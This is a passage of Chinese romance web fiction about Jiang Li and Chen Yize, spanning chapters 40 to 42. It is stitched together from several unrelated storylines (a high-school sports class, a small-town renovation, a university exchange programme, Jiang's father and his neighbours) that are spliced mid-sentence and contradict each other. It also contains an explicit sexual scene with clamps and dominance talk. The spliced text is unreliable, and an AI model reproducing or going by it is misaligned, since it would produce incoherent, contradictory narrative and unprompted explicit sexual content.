熟悉的被支配感涌上心头, 姜厘还没来得及鼓起勇气跳窗逃走,车子就缓缓停到地下车库中。 车锁解除,姜厘下车刚要如一根离弦的箭般飞速窜出,后颈就被一条紧实的小臂牢牢绕住。 “接着。” 陈屹泽从后勾住她脖子,将手中的东西朝前轻轻一扔。 铃铛作响的车钥匙划过半空一小段距离,最后落入姜厘掌心。 她轻呼一口气,感慨自己的肢体灵活程度似的,又颠了两下钥匙,抱怨地开口,“你怎么这么懒。” 两步路的距离,拿个钥匙都不拿。 “你摁下试试。” 男生嗓音松散。 这个世界就是有人讨厌榴莲,不爱香菜,喝不惯汽水。姜厘很小的时候就知道这一点,是从每次蛋炒饭妈妈总会把好吃的火腿肠切的很大中看出来的,明明切成小粒更好吃、更入味,一口饭里会包裹住更多的风味。 可妈妈总是把葱切得很细,大块的火腿肠显得格格不入、形单影只。 现在才知道,切得大是为了方便挑出来给她。 姜厘觉得好吃的东西,蒋月华很讨厌。 所以对于他们而言,香菜是否新鲜,榴莲是否甘甜,亦或气泡是否充足没有本质的区别。有人讨厌你也很正常,因为“喜欢你”和“你多好”这二者没有关联。 姜厘这么对自己说,并且吃光了母亲为她做的蛋炒饭。 第一个走进教室已经成为了习惯,她同往常一样打开窗户。 天气渐凉,蓄意以寒冷呵斥妄图用它来提神醒脑的姜厘,窗边的旧纱帘被吹鼓出巨大的声响,张狂地拍在她的脸上,姜厘只好把窗户关上。 林致优最近每天都会看见她,秋季校服被风吹鼓起,袖子被挽了起来露出两条白细手臂,像是家电城前招揽客人摇摇坠坠的充气人。 真没用,就连关窗户都这么笨拙吃力,怪不得没人和你交朋友。 姜厘莫名其妙与她对视了一眼,随后又事不关己地低头。 总觉得那眼神怪怪的。 她没仔细揣摩自顾自地背书,准备晚上的开学考。 开学考,顾名思义是一次简单的摸底考试,没有往常月考那么严苛,用的也只是夜自修的时间。但这对姜厘而言却很重要,从军训开始她在二中上了一个月的学。 她不想承认,在短短一个月的时间里,一中和二中的教学质量就有了差距。 但在这之前,她还需要经历一节体育课。 初中和高中最大的区别就是,高考不考体育,所以体育课成了一节休闲养老社交课。 姜厘抱着一本地理书,视死如归地踏上了操场。 做完准备活动,接着是跑步,然后就是女生两人一组的仰卧起坐,男生打篮球。 “谁是姜厘?” “是我。” 姜厘举起手,神色如常。 体育老师点了点头,手指着一旁的树荫:“你的情况我知道了,先去旁边站着,仰卧起坐能做吧” “嗯。”她点点头,走姜一旁树荫庇护的台阶。 “凭什么!” 没等底下的同学开始埋怨老师就吹响口哨。 这个借读生不仅能用比他们更低的分数进入这所学校,还有这样的待遇,很难不让他们出现其他联想。 “其他人,慢跑三圈。” 四百米的操场,慢跑三圈就等于一千两百米。 怨气一下子冲了天,原本以为上了高中之后体育课就能轻松一点。 体育老师还是善良的,补充道:“实在累了就走路。” 好在有这句话,不然他们的意见只会更大。 姜厘一个人平静地坐在树荫底下,翻开地理书,她没有那种心安理得,也没有受到优待后的坐立难安。即便跑步的他们,每经过一圈投射过来不善的目光,耳边停不下的讥讽声。 她都是一副“与我无关,两耳不闻窗外事”的状态,大大方方地勇往直前。 可是面前却挡着一块巨大的玄武岩。 这是地理没有天理!古生物纪年表,她是死活背不下来,找不到记忆的规律。 三圈结束后,女生们要开始做仰卧起坐了,两人一组,二十一个女生,恰好余下姜厘。 体育老师看着一旁这个瘦弱的厚眼镜,皱眉问:“没人和你一起吗?” 环顾四周,所有女生的脸上都有一种安定的洋洋得意,这似乎是一种“看啊,就她没人帮”的骄矜。 这是属于她们的报复,既然你这么特殊那就一个人好了。 “算了,你等她们测完再找个人帮忙。”体育老师也没办法说啥,毕竟落下一个人,是一个既定的事实,不是她也会有别人。 但这个被落下女生脸上的表情没有一丝的窘迫,反倒是泰然自若。 其他人都躺在垫子上,独独姜厘站在那儿,很打眼。 红色的操场圈着绿色的篮球场,泾渭分明,被放养的男生们正在打球。 周柏羽打篮球很少有不专注的时候:“不是吧,她又一个人。” “你说谁?” 疾风吹过,又是一个空心球擦网而过。 “还能有谁啊,小企鹅。” 陈屹泽其实早就看见了,腕骨还是保持着那个动作。 他听见这话,不满地皱眉:“名字是我取得。” 意思是他享有商标权。 周柏羽不知道他这人又哪根筋搭错了,就连小企鹅也不能叫吗?未免有点太霸道了,取个名字还成他的个人专利?简直无理取闹! 但他还是愿意哄陈屹泽的:“你说姜厘尴尬吗?我要不要过去跟她说话。” “管那么多干嘛,接着。”他给周柏羽传球的力度太大,像是给肚子上来了一下。 他这么走过去搭话反而更尴尬。 周柏羽叹气:“算了,过去了也不知道说什么。” 在周柏羽三步上篮把他轻松过掉的瞬间,陈屹泽完全没注意到,自己目光早就投姜了不远处。 那个微小可怜的影子。 “可恶,这就是我左手的力量吗?” 周柏羽举起左手握拳,另一只手指着突出的经脉,显而易见,他犯病了,犯的中二病。 陈屹泽:“” 跟他说话都得先降低智商。 两个人热身完就开始打比赛。 周柏羽看着自己的左腿,表情明显有些不自在。 球场四周围了不少的人,毕竟不止一个班在上体育课,也有不少高年级的班。这个自行组织的篮球赛由于陈屹泽和周柏羽的加入多了不少观众。 这边做完仰卧起坐的女生没有留下,而是直接去看了比赛。 又是只剩下姜厘一个。 体育老师看不下去了,随手招来一个人:“班长,你过来帮一下。” 林致优有点反感,凭什么事事都找班长处理?可是这种时候她又没办法直接推脱,只好认命,她极不情愿地站在了姜厘的面前。 “班长,麻烦你了。”姜厘乖巧地坐在垫子上。 林致优表面上没说话,心里吐槽:知道麻烦还说,吃力不不讨好的从来就只有我。 哨声吹响的同时,那边的篮球赛也打得火热。 不是单刀直入就是两人配合默契无间,他们已经从高年级学长手里拿到了好几分。 夏天逐渐偃旗息鼓,蒸腾的那点炙热的情绪会被北冰洋的风给带走,但篮球场永远属于汗水、凌乱的脚步和被风吹鼓的白衬衫。 陈屹泽的每一个动作、眼神,都被数不清的目光追随着,被木讷的风掠夺着。 他无疑是最瞩目的存在。 一个利落的转身,又有一个愚蠢的人上了当。如果说周柏羽的球风直接莽撞,以身体强度致胜,那陈屹泽就是诡谲多变,以捉弄人为乐。他就像是站在玻璃窗外的人拿着逗猫棒,逗着窗内抓狂的猫。 在场的女生看不到被耍的团团转的痛苦,她们只知道现在控球的23号位,好帅。 只有对面学长看得出来,纷纷抱怨:“什么人啊,都不给机会!” 陈屹泽一如既往无视他们。 直到一个看上去不太好惹的学长,在身体对抗中放狠话:“知道你烦人,没想到这么讨打。”说着正想用肩膀强行撞他。 “过奖。” 陈屹泽避开他,单手托进了一个球,而后极为恶劣地挑了挑眉。 危险与戏谑都格外刺眼。 那个人气得吐血,如果不是周围人拦着,这么多人看着,早就一拳打了过去。 陈屹泽无可厚非,成了众人的眼中钉肉中刺,那些招式碰撞,全是针对他,但都不敌他。 他的反应速度极快,作为小前锋又具有较好的控球能力,对比场上其他人的呆愣驽钝,他们队组织起进攻没有丝毫压力,毫无疑问是碾压。 即使是这样的天气,场上的男生掀起衣服擦汗的举动,仍然是一道靓丽的风景线。那些腹肌全无大腹便便的掀开就是另一种说法了,有碍观瞻。 她们都期盼着陈屹泽能发个福利,不过他好像不怎么流汗。更多是他不想被人占便宜,看一眼也不行! 高年级的学姐在下面小声讨论,喝彩声不断。 “那个是学弟吗?” “哦,他是之前开学典礼讲话的那个酷拽天极品学弟!” “救命,狗一中几百年修的福气啊!” “这学弟看上去还很凶。” “帅得半死不活。” “有你这么形容的吗?明明是帅得死去活来。” 姜厘急忙捂住他嘴,双眸对视间她看清男生眼底滚烫的情.欲。 被柔软掌心死死捂住的话并没咽在喉腔,陈屹泽还在说,话筒中听得囫囵,姜厘却听得清晰。 他毫不避忌,笑得很稠艳。 “她在被我亲,被我摁在墙上咬。” 看着姜厘咬唇要哭的可爱样子,陈屹泽胸膛生出浓烈的爽感,他很想问姜厘感受如何。 于是贴着她耳边,用低哑的嗓音轻声和她咬耳朵, “宝宝,你爽不爽?” 第 40 章 第 40 章 姜厘第一次正式感受到陈屹泽身上的不可控感,她深切地意识到他发起疯来自己是玩不过的。 女生眼眶沁润的雾气像漂亮的水晶石,一碰就碎。 陈屹泽低笑了几声,摸到姜厘额头上的手带了点温柔之意。 陈妄山在话筒中语气不耐起来。 “囫囵说的什么东西,一句都没听清。” 悉悉索索的像是蹭到了衣服布料上,一直有杂音,咿咿呀呀。 骨感分明的指节握住手机总算拿起,陈屹泽抬起手机又听见男人裹着怒气的质询:“干什么呢你?” 心情姣好,陈屹泽被质问反而笑了声,目光慢腾腾从姜厘红肿的唇上掠过,他拖着腔,抵了下墙往旁边踱,“我在——” “吃东西。” 老屋门框刷了桐油,要干两天,之后再上漆。 陈屹泽短暂失去了去老屋的理由。姜厘眼眶刺激到泛着潮红,尾音带着乞声。 “他给你换的鞋?” 上衣被推到锁骨,有什么冰冷的金属在皮肤上腾挪着。 脚趾微蜷,姜厘眼底一片潮湿,抱住陈屹泽埋在身前的头,“没有,是我自己。” “还有大衣,我只披了半分钟,本来就要脱掉的……” 还没等他耐着心一点点拷问,姜厘已经和盘托出。 她惊慌地低头看着陈屹泽一点点用舌尖挑.逗某点,舒慰的感受从太阳穴汹涌而来,只有颤音暴露此刻共存的惧意。 “我以后乖,放过我好不好哥哥……” 女生讨好的模样楚楚可怜,颈轻仰着,呼吸慢慢变急,暴露出的肌肤像刚摘下的水蜜桃,嫩又红,摇摇颤颤。 陈屹泽低头没吭,润湿的舌尖轻轻吻向另一处,眼底荡过醒目的欲.望。 “没关系啊,你以后继续。” 骨感指节悬着的红绳,悄无声息地系到水蜜桃尖尖上。 冷涩的金属夹做了改造,咬合力并没有那么强,但姜厘仍然被那股突如其来的挤压胀痛感搞到差点痉挛。 她背脊屈成弯状,只能发出短促的呜咽声,蜷在男生腿下。 陈屹泽又照顾地探查了一下她另一个敏.感处。 半秒后,指尖拉出洇秽的黏丝:“是不是被搞得很爽?” 他又笑,眸色晦暗不明。 “我还没进呢宝宝。” “他知不知道我用两根手指就能让你高?” 碾磨轻挑,指尖运着力道在高点反复刺激,姜厘头脑迷乱,慢慢蹭到陈屹泽怀中,口中含糊不清着什么。 陈屹泽低头,任由她发丝讨好地蹭着自己,慢慢听懂她的话,又制住她并.腿的动作。 “今天是谁不乖?” “不乖就该被调,我不乖你也可以调我啊宝宝。” “你有机会么,我跟你报备的时候你不是正跟别的男人呆在一块呢?” 怨妒的语气以极为坦荡的口吻说出。 陈屹泽说完,姜厘额头已经汗湿了,她有些恍惚地听到铃铛铃铎作响,蚕食的神智逐渐飞逝,脑子更空,床单褶皱成一片。 扩张完成,陈屹泽拍她,换位置。 “现在可以收拾我了宝宝。” “夹我。” 他尝试过陪奶奶卖水果,心不在焉地蹲在那,始终往一个方向瞧。 张桂香简直没眼看,直言:“记月巷02号,不知道路?” 陈屹泽迅速收回视线,小声说:“不是看那边。” 张桂香懒得付出慈爱,让他快点离开。 他重新回到铺子,还是决定要按照草稿把自己设计好的、适合老屋的小家具给打出来。 孙明屁股着火一样冲进来时,陈屹泽正在刨木头。 “屹泽屹泽!屹泽啊!”孙明疯了一样,大喊自己在网上搜姜厘几个字,居然真的搜出结果。 “她是一个钢琴家,得了好多奖!” 陈屹泽停下手里的活,接过手机来瞧。 关于这个人的词条都是一个个光鲜瞩目的奖项,照片那一栏排列着她穿着漂亮裙子弹琴的模样。 除了荣誉,还有其它内容。 孙明喋喋不休:“我就手闲搜一下,没想到她真的很厉害!哇屹泽,这不是缘分嘛!你心心念念那漂亮姑娘不是也弹琴?说起来,像我们这种普通人,就什么都找不到……” 陈屹泽没听进去几句,手指慢慢往下滑,看到了更多。姜厘飞快踩了他一脚,打开反锁要把他往外推。 照片中的肌肉像是有了实感,像座山一样堆了半天移动不得,姜厘捋起袖子,一鼓作气再欲把人清出屋内,陈屹泽仗着身高差,直接把人夹在腋下。 “我知道对妹妹好啊,我对她可好了。” 男生吃饱了,餍足地望着胸口处气到不行的女生。 “财务说你卡上划出一大笔钱,最近公司那边需要用钱了?” “嗯。”他简略地回应。 “够不够,我又给你打了一笔,我们这边大概还有一段时间才能回家,你照顾好自己。” 老父亲声声关切, 甚至还担心亲手娇养长大的蛇蝎男子会亏待自己,他平时是什么横行霸道的作风,您难道不知道吗! 姜厘听到这,已经无力抗争。 她塌下胸腔,气愤地吐出一口浊气。 “她没告诉你?”老辛头很惊讶。 陈屹泽肩膀都塌了,“没有说呢。” “为什么?”老辛头问。 还能为什么,气我了呗,陈屹泽心想。 他在老屋待到太阳落山,逛来看去,心中很是怅然。 他发现自己甚至都没有姜厘的联系方式,唯一有可能说得上话的是小安。 可是说什么呢? 陈屹泽变得不会打字,几次组织语言失败,只好改为发送语音消息。 “小安,我刚刚知道你们离开的消息,我之前和姜听……和小姜老板闹得有些不愉快,想说句道歉陈屹泽你简直有病。” 陈屹泽骂完自己,取消发送。 得是多有毛病才会找小安去找姜厘传达歉意。 他重新构思。 “小安你好,我是陈屹泽,我得知你们已经离开,以后如果你们要回来看看民宿,我可以……人也不需要你。” 依然没能藏住情绪。 这次陈屹泽都懒得骂自己,熟练地取消发送。 无论如何讲话都显得词不达意,他原地转了几个圈,开始对着二楼自言自语。 “去哪了。” “在这呢。”话音带笑,很轻,却清晰。 陈屹泽被这突然响起的声音下的浑身一震,他猛地转身,姜厘居然站在那里,偏头笑了一下。 W大和H大的学术谈论座谈会在傍晚开展,汤柘和同学教授会面已经进入了校园内。 趁着还有时间,姜厘提前去了国际交流办公室找老师提前了解下交换生的要求和具体情况。 循着指示路牌找到办公室,姜厘探头敲门,得到应允后走了进去。 “老师您好,我想了解一些交换生的相关条件。” 厚重的文件夹一沓一沓地堆放在书桌上,负责相关事宜的年轻女老师穿着很时尚,姜厘顺着她的异色耳环看到鲜艳的红唇。 “首先是绩点大于3,有些热门院校要求大于3.5,期间不可以有挂科记录,成绩优异当然有限,雅思6.5+,一般是大二大三出国交换。” “如果想要交换的话是要给教授留下好印象的,需要一位教授的推荐信,另还有15万以上的资产证明。” 年轻女老师看着她笑道,“你才大一,还有很长时间准备,加油。” “只能大二出国嘛?” 姜厘担心时间太晚了。陈屹泽深深呼吸,无处可躲,只好点头,已经没有胆量字句清晰,因为不熟练当面说真心话,所以声音很小。 他说:“舍不得。” 陈屹泽希望姜厘不要追问“为什么”,因为他自己都定义不了这个仓促涌出的情绪。 好消息,姜厘像是听到了他的心声,没有非要追问原因。 坏消息。 姜厘问:“陈屹泽,有多舍不得?” 作为姜厘的助理,小安代表她接受采访,表示姜女士目前正在修养身体,状况良好,具体伤情如何,大家可以等待保险公司的后续公示,并宣布姜女士参与的所有慈善项目并不会中断。 资助学生,特殊病基金,城市流浪猫狗,还有北极熊关爱项目,范围很大,甚至每个月都会往企鹅基金会寄送一件小毛衣。 以上种种,并不像她本人所言的那样不爱做慈善。 陈屹泽坐下来好好看,可再往后,标题变得刺眼起来。 天才钢琴家右手受伤,姜家对外宣布从此和这个养女断绝关系。此前,她的养母数次对外说姜厘在男女关系上很让家人困扰。采访文稿里附带着姜厘的养母和养兄的照片,男人就是彼时带着豪车保镖来堵人的那个姜某。 陈屹泽反复看这条通稿,眉头紧皱。 姜厘如何处理男女关系是个人因素,但就这一条通稿来说,养母绝对不是出于关心,养兄也并没有如他所说的那么在乎。 关心一个人怎么可能舍得让她站在太阳下面弯身同自己说话,又怎么会向外说明知对她不利的话,现代社会,谈对象怎么就要被说得这么难听呢? 而且姜厘说了,她现在没对象。 这个养母在胡说八道。 传播这些话,只字不提姜厘可能有多难受。 陈屹泽难以想象对于钢琴家来说右手受伤是什么感觉,灭顶之灾吧,灾难,谋杀。 这些念头让他感到窒息,他把手机还给孙明,二话不说冲出铺子。 半道遇见买菜的辛大嫂。 “小姜老板真的很好,她前天饭点的时候突然到 我家来,和我家小子很耐心地说了好久的话,又和我们一起吃饭,最后居然问我愿不愿意在民宿开始营业之后来管理厨房。” 先是孙明抬着手机过来,又遇到辛大嫂说这些话。 陈屹泽开始怀疑老天是故意让他内疚到底。 他为自己说出口的偏见感到无地自容,并且脑子里只剩下三个字。 完球了。 这种情况道歉有用吗?会不会显得有些刻意,但要是上去就说自己了解过她的历史,姜厘会怎么想呢?会让他滚吧。 滚就滚吧,被轰出来也是应该的。 陈屹泽坚定地去到老屋,正逢师傅们到点下工,老辛头疑惑他为什么这个点过来。 “我来找姜……小姜老板。”陈屹泽说。 “你找小姜老板?”老辛头说,“她昨天已经走了呀,她助理,就那个小姑娘开车来接的她。” 陈屹泽语塞。“一般情况是这样,除非学院组织的特殊活动需要出国交换的,你是……交叉学院的。” 女老师指尖轻点,波浪卷发优越地披在肩后,“蹲一蹲吧,你们学院和国外院校联合活动挺多的,表现优异的话,教授会主动推荐你出国的。” “那如果我出国了,我妈妈能一起出去嘛?” 姜厘试探道。 “可以申请探亲签,那个相对容易很多。”女教师笑着开口,“多出去看看对以后工作有好处,现在没事可以准备一些学术论文,手上文章多些,奖项多些,对出国都有好处。” 看来这条路是可行的。 “我了解了,” 姜厘敛眸大概消化了下信息,礼貌回笑,“谢谢老师,那我先走了。” “嗯嗯,有什么不懂的随时再来问我。” “谢谢老师。”姜厘站起了身。 转椅滑动的瞬间,女生瘦削的肩头无意碰到了桌角一份独立搁出来的文档。 转椅滚轮险些压倒纸角,姜厘唯恐弄脏别人资料,忙蹲下帮忙捡起,“抱歉老师——” 话音戛然中止, 女生睫毛缓慢地轻眨。 指边薄薄纸张有些扎手,一晃而过的瞬间,姜厘看到纸张的标题和署名—— 自愿放弃交换名额声明 陈屹泽。《 》 40-50 第 41 章 第 41 章 这世界真荒诞,两个昨晚还亲在一起的人心思却南辕北辙, 有人计划着离开,有人每一步都筹备着靠近。 眼看姜厘握着纸张发怔,女教师才留意起她手中的放弃声明书。 以防她多想,她又多嘴解释了句。 “这是个例,你也认识这个男生吧。” 优秀的人走的每一步都会不自觉成为别人的模板,生怕姜厘效仿,女教师捏住纸张边缘忙不迭将声明书抽了回去。 离开没多远,姜厘再次做出重要指示。 “绕一圈路回去吧。” 陈屹泽没戴头盔,张开嘴含着风应了一声,本想带人去民宿,才知道姜厘早已搬回老屋。 什么时候请人开始整理的,都没说呢,陈屹泽有心想多问,却无论如何开不了口。 老屋门口守了两个大姐,目光兴奋地盯着姜厘从摩托下来,一脸随时准备打听消息的模样。 怎么说呢,小镇的穷,穷在人心。 大部分人都拥有自己的固定生活模式,在这个模式里,基调平平,家长里短柴米油盐,换来转去无非就是那么些故事,只消听见不同寻常的事情,必定希望打探清楚。 这种侵\犯伤痛的行为往往以叹息收尾,用怜悯的目光包裹隐秘的满足。 陈屹泽对这样的目光很熟悉。 再说回这两个大姐。 其中有一个陈屹泽尤为印象深刻,大家都喊她黄二妹,吊梢眼,染了泽绿的眉,说话带着天生的哑意,常年奔走于小镇消息网里,乐此不疲。 以往试图劝陈兰改嫁,言说女人要是不靠男人,日子怎么过。 据不完全统计,黄二妹被陈兰赶出家门五次,其中有一次动了手,黄二妹打不过陈兰,干脆开始宣传陈兰是个克夫的不吉利女人。 陈屹泽得知消息之后,带着孙明他们几个人,从早到晚站在她家的香料铺子里,谁想进去买东西都要经历五六个小镇混混的凝视,很是折磨人。 一言不发,一站就是半个月。 自那以后,黄二妹看见陈屹泽都会绕开,再远远地啐一口。 同样的,这次瞧见是陈屹泽带着姜厘回来,黄二妹下意识地顿了顿脚步。或许是因为身边有人陪,或许是觉得姜厘看上去很好说话,所以她还是热情地凑上来。“他是教授主动推荐的交换生,交换到哈佛。” 姜厘听到哈佛二字眉间又一紧,怔怔地抬头看她。 “哈佛不接受单纯的课程交换,为此这同学还特意加入了那边的研究组,其实他专研的量子ai相关专业都涉及政.治敏感,那边安全审查还费了好一番功夫。” “去年全院校也才走了四名同学,计算机系只有两位,哈弗在华合作项目的教授很喜欢他,前几天还特意飞到B市专门挽留他来着。” “但不知道什么原因,还是没去,他像是主意已定,谁劝都没用。” 女老师惋惜地拨了拨鬓角的碎发,又把话题绕回来,“你可不要跟他学,能自我成长的机会一定不要放弃。” “什么东西跟前程未来比起来都不重要。” 胸口像压了颗沉重的巨石,呼吸都艰涩起来。 姜厘最后只顾着点头,都不知道自己是怎么走出办公楼的。 岔路口行道树繁茂,湖泊中优雅的黑天鹅绕颈求欢,水面涟漪阵阵,姜厘眼底空洞,在旁边草坪坐了好久才起身离开。 他也得早点带着东西去修门框。 孙明这一天就追在陈屹泽后面跑了,见他回来,当场升堂,逼问他到底载着姜厘上哪去了。 “没上哪,”陈屹泽仍然觉得莫名其妙,“就把她带回老屋,然后她就自己上楼了,不搭理我。” “不搭理你?”孙明一个字都不信,“那怎么不见她上别人的车,就上你的车!你没问她刚才和谁说话吗?” “干嘛要问。”陈屹泽搬着木头用眼神示意人站远点。 孙明憋了一肚子话要说,陈屹泽启动车床,以噪音对抗噪音。 孙明无法,只好扯着嗓子问了最后一句话:“那你生日!要请她!来!吗!” 陈屹泽装作没听见。 他已有好多年没过生日,但老妈说今年不一样,无论如何希望能在那一天好好吃顿饭,邀请了孙明和王天,还有其他几家多年来一直帮助陈屹泽的人。 生活开始有了起色,陈屹泽当然知道老妈在开心什么,没道理阻止,老妈和三婶提前两天开始准备菜,时间正式来到本年的九月十二号。 不论谁想起来都颇为感慨,想想三个月前陈屹泽在过什么日子,现在,陈兰终于可以把自己去城里带回来的补习班资料拿出来。 “屹泽啊,我都听说了,好多人七老八十都重新考大学,而且你是不经常让你三叔给带资料书回来么?试试?” 很久没有在老妈眼里看到这样的光芒,陈屹泽感恩地接过来,抱了抱老妈说自己会认真考虑。 母子俩没说几句话,陈兰又哽咽起来,最后还是三婶进屋,笑呵呵地打趣,让陈屹泽赶紧去镇口带老太太回来,客人马上就到。 老太太身体向来硬朗,平时也没别的爱好,家里的地没往外承包,种了果树。早几年种田这事儿就是一个老人的爱好,直到家里出事急着凑钱,地承包出去也换不来多少,老太太干脆搞了辆推车,坚持每天去镇口卖水果。 一车水果的重量不是闹着玩儿的,所以家里人轮换着每天把老太太送过去,晚些再接回来。 即便现在已经不太需要老太太继续卖水果挣钱,但她已经有了习惯,每天出去走走对健康也好,所以家里都支持她。 最近,已经有好几次,老太太在饭桌上宣布自己交到了一个朋友,很聊得来。 她积极参与生活,并且愉快地尝试新朋友,不忘夸奖陈屹泽,说因为有这个孙子,让她都能活得快乐一些。 三叔年近半百仍爱在老妈面前现眼,乐于和大侄子争宠,“妈,我这几年都在戒烟,已经小有成效,还是省了很多钱的。” 这几年。 亏他好意思说,三婶都听乐了。 张桂香更是直接戳破,“你多抽点,人没了一样省钱。” 陈屹泽咬着菜闷头笑个不停。 老太太作为一家子的精神骨,那是一把火烧了七十多年都不见熄的脾气。 交了朋友,不晓得是什么样的人。 陈屹泽想起这个就觉得好笑,答应着乐呵呵地跨出门槛,路上绕去老屋,没想好要怎么开口邀请才合适,在门口略加踌躇,很快被院里的师傅告知姜厘早已出去溜达,不晓得去哪。 陈屹泽只好去接老太太和她的水果推车。 “这话题怎么这么深沉哈哈。” “是我的错,我不敢干涉你的选择,只是建议你走更宽的道路。” 姜厘眼神闪躲到峰会桌上餐盘上的甜腻千层,刚要走几步过去拿,手腕猛地被抓住。 陈屹泽抓得有些用力,四指像要压进她皮肉中。 姜厘怔然回头,看见他眸底不同寻常的认真赤诚。 “小姜啊,哎哟,刚才是谁来找你?很有钱吧?是你男人吧?” 已然说出了推断出的答案。后面几天,世界很清净,周佳佳没上线,陈屹泽也在气头,坚持没理姜厘,姜厘躺的很平。 隔壁邻居家的大学生提前返校,全家聚餐送他,将楼层闹得暖烘烘的。 姜厘窝在卧室里,从窗户往外看,见到那对夫妻送别了儿子,牵着手在小区里晒太阳。 姜厘给住在老城区的姜爸爸去了电话,说会去陪他住几天。 姜爸爸十分惊喜。 这让姜厘有些愧疚,她过年没有回家,现在来躲峰出行。 通过外卖买了一堆水果肉菜,姜厘来到三中老家属楼里,她长大的地方。 拎着大包小包敲门,家中没有回应。 过了一会儿,楼栋里响起脚步声,老爸姗姗来迟,从楼上一起下来的还有邻居林老师,“哎哟,姜厘回家了,瞧这大包小包的,买了不少东西呢,你爸爸刚帮我装灯泡,让你等啦。” 林老师是个五十来岁的语文老师,和姜厘打了个招呼,又和姜爸爸说好明天再来,这就下楼打麻将去。 姜爸爸拎起女儿手里的东西,很高兴的开门。 门是老式防盗门,家也是穿越二十年时光的老样式,木质的地板、掉漆的墙壁,在布料店里拉的蓝染布做窗帘,一台立式空调吱呀吱呀的送着暖风,因为年代久远,不怎么管用。 姜厘的目光落在墙壁上。 一张“立新社区十大好人”的表彰牌挂在最显眼的地方,奖牌泛黄,挂着有姜爸爸年轻时憨憨的笑脸。 姜爸爸进去厨房切瓜果,叫道:“姜厘,拿一下垃圾桶。” 姜厘找了垃圾桶递进去,看家里有点灰尘,转头去找手持拖地机。 没找到。 姜厘跑过去帮手,一起把机器放了回去,插电,捣鼓一阵,却怎么都开不了机。 看出她情绪不高,姜爸爸笑呵呵的摸了摸她脑袋:“两个月没回家,突然回来了,是遇上什么事了?” 十大好人不好当,谁家有事都要帮,二十年前学校分房,姜爸爸谦让给需要结婚的年轻老师,一家四口人继续挤着这小两室,周女士受不了这个窝囊气,与他离婚,带着一个女儿离开。 姜厘低头:“我知道。” 有时候,也难怪、难怪陈屹泽看着她会这么来气。 姜厘:“哪天拿去的?” 姜厘:“…………” “佳佳性格霸道一点,像她妈妈,不过心是好的,你不要和她计较,顺着她就好了。” 他说着上楼去,没一会儿,自己扛着机器下来了。 她沉默的吃了一会儿,认可的说:“只要爸爸你开心就好。” 姜爸爸有些尴尬,姜厘忍不住小声说:“上次借东西也是他,弄坏了才还,还不和你说。” “看你买了好多菜,想要吃什么,爸爸给你做。” 她要是软柿子,她爸爸就是软柿子树。 姜爸爸手艺很好,姜爷爷以前是开饭馆的,传家宝有锅、勺、菜谱什么的,姜爸爸得尽真传。 “你买的那个拖地机吗?”姜爸爸道,“周老师说想试试好不好用,在他那儿呢。” 姜厘回归手洗拖把,从客厅开始拖地。 姜厘不说话了。 姜爸爸:“年前吧,哟,都俩月了。” 将菜都放到女儿面前,看她吃的香,姜爸爸乐呵呵的说:“姜厘,不要生气,邻里之间,哪有那么多计较,我们做好事,是因为自己心里乐意,而不是奔着别人的回报嘛。” 这位周老师,借了人家东西,还让人家自己扛回去。 “那未必是人家弄坏的,我自己也用了很久了嘛。” “佳佳又烦你了吗?” 姜厘十六岁上大学离开家,此后,姜爸爸独居在此,算起来有十年了。 姜爸爸极有厨艺天赋,但厨子能有什么出息?家里头想办法叫他去中学混了个合同制老师来做,后来,他因为做好人好事评了十大好人,解决了事业编,现在从教也有四十年了。 家里的东西,她和佳佳不断买,爸爸不断往外“借”。 他炖了个黄豆猪蹄,做了小炒黄牛肉和开水白菜,另有一道“仙女散花”,是用刀将嫩豆腐切成丝,豆腐丝不断,浇灌高汤,撒上肉末,入口鲜软。 她爸太忙着帮助学生、家长、同事、邻居,看起来又有一阵子没有收拾过自己家里了。 所以姜厘不会说这种话。 如果是佳佳在这里,一定要撂筷子,说一句“妈就是这样才跟你离婚。” 这东西连着底座其实有些重量,拿着爬四层楼,不是那么容易的事情。 这菜在外面的高级餐厅也只能限量供应,在家里则可以常吃。 陈屹泽冷着脸拦到她面前。 姜厘面不改色从陈屹泽身后绕出来,同黄二妹打招呼:“黄姐。” “啊?”黄二妹和身边的人互相看一眼,依然想要得到回答,“是吧,哎哟我就说你年纪轻轻怎么这么有钱,和你男人吵架了吧?我看那车不便宜。” 姜厘还是笑,“不便宜,把你卖了都换不来一个车轮呢。” 黄二妹笑容一僵,立马反应过来自己正在被羞辱,难以置信地瞪着眼喊:“我就来随便问问,你们城里人说话就是难听哦,还以为多好相处!说话刺人的嘞!” “怎么还生气了呢?我开玩笑的呀。”姜厘一本正经。 有点爽,陈屹泽靠着院墙抱手瞧得津津有味。 黄二妹马上要扯开嗓子喊,姜厘赶紧抬手止住她,很是为人着想。 “姐,你差不多该回家吃饭了吧,不对,回家做饭,我都知道的,你家那口子动手打人呢。”姜厘摇摇头,开解她,“不怕,以后你要离了,我把我朋友介绍给你,放心,你喜欢我那个年轻朋友的事儿,我不往外说。” 姜厘自认不是善茬一个,故意问:“不过,你能离得了吗?” 无形间谣言已然开始逆转,以很戳心的方式。 黄二妹咒骂着离开,声称姜厘一定是被陈屹泽带坏了。 陈屹泽简直冤枉,他可没这本事。 而且自己想要和姜厘说两句话,嘴还没张开,人已经进了院子,一路上楼,并没有给任何交流的余地。 他呆呆地在院里杵了会,抬手碰了碰刚刚姜厘搂过的地方。 心想原来这人生气是这个样子。 可是,陈屹泽想,那天之后就没有好好说过话了呀。 摸了人就应该多说两句话啊,陈屹泽最后看了眼二楼,拔腿朝厅里走去。 老屋里有不少眼熟的师傅,打听得知都是一个年轻姑娘招募他们过来做翻新工作。 小安的工作效率真是没得说。 陈屹泽也没和师傅闲聊,大概说一下屋子里哪些地方需要注意,赶忙回铺子车木头。“如果是出国交换,你提前跟我说,我们去一个学校。” 视线交织在半空,姜厘又听到男生嗓音很轻,依旧执拗地盯紧她。 “不能离开我。” 摇尾乞怜。 她没想到有一天这样的词会跟陈屹泽扯上关系。 尤其是在他刚光风霁月,被一众顶尖学子簇拥之后。 手腕的红痕越来越深, 姜厘被攥得很疼,她隔了几秒,才轻轻点头,没敢看他的眼睛,语气很弱地回他, “好。” 第 42 章 第 42 章 …… 交流会顺利结束后,汤柘和同学们一起订了明晚回W省的机票。 临走前他特意约了姜厘一起到处逛逛,前些日子她考试忙得分不开身,幸好国庆调休后的周日没有被占用,这才挤出时间。 上午十点。 话筒中男生的嗓音兴奋又清澄,条理清晰地把这一天的日程全都安排妥当。 